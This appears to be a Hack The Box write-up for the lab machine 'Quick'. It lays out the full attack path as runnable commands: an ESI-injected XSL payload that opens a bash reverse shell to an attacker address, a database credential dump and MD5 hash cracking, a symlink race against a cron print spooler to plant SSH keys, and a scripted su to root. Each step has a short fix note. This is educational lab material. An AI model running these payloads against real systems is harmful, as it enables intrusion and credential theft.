Quick
Summary
Target quick.htb ($TARGET) was fully compromised by chaining six misconfigurations. An HTTP/3-only customer portal, invisible to standard TCP scanners, served onboarding PDFs without authentication; those PDFs leaked a global default password and a list of client email addresses.
Logging in with that credential reached a ticket system whose Esigate reverse-proxy layer blindly processed my own Edge Side Includes tags in ticket message bodies, enabling server-side remote code execution as the web user sam and capturing the user flag. From sam, a PHP source file in the web root exposed hardcoded MySQL credentials; the resulting database query returned srvadm's MD5 password hash, cracked offline in seconds.
Authenticated as srvadm to a second, vhost-gated POS Print Server console, I exploited a world-writable job-spool directory: a symlink planted before the cron-driven job processor ran caused it to write my own content through the symlink into srvadm's SSH authorized_keys file, yielding an SSH shell as srvadm. Finally, a connection-string config file cached in srvadm's home directory stored the root account password in URL-percent-encoded form; decoding it and running su root produced a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<root>, <srvadm_md5_hash>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Register both vhosts for local DNS resolution.
$ echo "$TARGET portal.quick.htb quick.htb" | sudo tee -a /etc/hostsFull TCP sweep; reveals 22 and 9001.
$ nmap -Pn -p- --min-rate 3000 -T4 $TARGETUDP top-100 scan; reveals 443/udp (QUIC).
$ nmap -Pn -sU --top-ports 100 -T4 $TARGETConfirm HTTP/3 portal responds; requires curl built with HTTP/3 support (curl -V should list HTTP3).
$ curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET https://portal.quick.htb/Exact commands 3
Retrieve the unauthenticated docs page; note PDF filenames in the response.
$ curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://portal.quick.htb/index.php?view=docs'Download the PDF containing client email addresses and the default password scheme.
$ curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://portal.quick.htb/Connectivity.pdf' -o Connectivity.pdfDownload the quickstart guide for additional credential confirmation.
$ curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://portal.quick.htb/QuickStart.pdf' -o QuickStart.pdfFixRequire authentication before serving any customer documentHigh
Exact commands 1
Log in with the leaked default credential; session cookie saved to cookies.txt.
$ curl -si -c cookies.txt -d "email=elisa%40wink.co.uk&password=$PASSWORD2" http://$TARGET:9001/login.phpFixEliminate the shared default password and enforce a unique first-login credentialCritical
Exact commands 5
Create the XSL payload (Xalan Java Runtime.exec reverse shell) and a minimal XML document. Replace $ATTACKER_IP with your tun0 IP.
$ mkdir -p /tmp/esi && cat > /tmp/esi/x.xsl <<EOF
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="cmd" select="'bash -c &apos;bash -i >& /dev/tcp/$ATTACKER_IP/9100 0>&1&apos;'"/>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec(\$rtObj, \$cmd)"/>
<xsl:value-of select="ob:toString(\$process)"/>
</xsl:template>
</xsl:stylesheet>
EOF
cat > /tmp/esi/x.xml <<'EOF'
<?xml version="1.0"?><root>trigger</root>
EOFServe the ESI payload files on port 8000 for Esigate to fetch.
$ cd /tmp/esi && python3 -m http.server 8000 &Open the reverse shell listener before submitting the ticket.
$ nc -lvnp 9100Submit the ESI-injected ticket; Esigate fetches and processes the XSL payload server-side, spawning the shell.
$ curl -s -b cookies.txt --data-urlencode 'title=test' --data-urlencode 'msg=<esi:include src="http://'"$ATTACKER_IP"':8000/x.xml" stylesheet="http://'"$ATTACKER_IP"':8000/x.xsl"></esi:include>' --data-urlencode 'submit=1' http://$TARGET:9001/ticket.phpRead the user flag from inside the received shell (output: <user.txt>).
$ cat /home/sam/user.txtFixDisable or isolate ESI processing so user-submitted content cannot trigger itCritical
Exact commands 3
Read hardcoded DB credentials from the PHP source file (run inside the sam shell).
$ cat /var/www/printer/db.phpDump all user records including srvadm's password hash.
$ mysql -u db_adm -p$PASSWORD6 quick -e 'SELECT * FROM users;'Crack the MD5 hash offline; replace <srvadm_md5_hash> with the hash from the DB dump. Recovers: <withheld>.
$ echo '<srvadm_md5_hash>' > /tmp/hashes.txt && hashcat -m 0 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt --forceFixRemove plaintext credentials from source files and replace MD5 password hashingCritical
Exact commands 6
Authenticate to the printer vhost from inside the sam shell; note PHPSESSID in Set-Cookie.
$ curl -si -c pc.txt -H 'Host: printerv2.quick.htb' --data-urlencode 'email=srvadm@quick.htb' --data-urlencode "password=$PASSWORD7" http://127.0.0.1/index.phpRegister my own network printer; replace $ATTACKER_IP:9100 with your listener.
$ curl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://127.0.0.1/add_printer.php' --data-urlencode 'printer_name=evil' --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=9100' --data-urlencode 'port_type=9100'Generate SSH key pair on my machine; the public key will be the print job payload.
$ ssh-keygen -t rsa -f /tmp/srvkey -N '' && cat /tmp/srvkey.pubSubmit a print job whose data is your SSH public key; replace <SSH_PUBKEY_CONTENT> with the output of cat /tmp/srvkey.pub. Note the job file created in /var/www/jobs/<jobid>.
$ mkdir -p /home/srvadm/.ssh && curl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://127.0.0.1/job.php' --data-urlencode 'printer=evil' --data-urlencode 'data=<SSH_PUBKEY_CONTENT>'Race to replace the job file with a symlink to srvadm's authorized_keys before the cron fires (runs every few seconds).
$ JOB_FILE=$(ls -t /var/www/jobs/ | head -1) && ln -sf /home/srvadm/.ssh/authorized_keys /var/www/jobs/$JOB_FILESSH in as srvadm after the cron writes the public key through the symlink.
$ ssh -i /tmp/srvkey -o StrictHostKeyChecking=no srvadm@127.0.0.1FixLock down the print job spool directory and prevent the cron processor from following symlinksHigh
Exact commands 3
Search srvadm's cached config files for stored credentials (run as srvadm).
$ grep -ERni 'password\|pass\|secret\|root' ~/.cache 2>/dev/nullURL-decode the discovered credential; result: <withheld>
$ python3 -c "import urllib.parse; print(urllib.parse.unquote('$PASSWORD'))"Automate the su root interaction through a pty to handle the password prompt; reads root.txt (output: <root.txt>).
$ cat > /tmp/suroot.py <<PYEOF
import pty,os,sys,time,select
pid,fd=pty.fork()
if pid==0:
os.execvp("su",["su","-","root","-c","id; cat /root/root.txt"])
else:
time.sleep(0.7); os.write(fd,b"$PASSWORD3\n")
buf=b""
while True:
r,_,_=select.select([fd],[],[],7)
if not r: break
try: d=os.read(fd,4096)
except OSError: break
if not d: break
buf+=d
sys.stdout.write(buf.decode("utf-8","ignore"))
PYEOF
python3 /tmp/suroot.pyFixRemove stored plaintext credentials from user home-directory config filesCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 9001/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.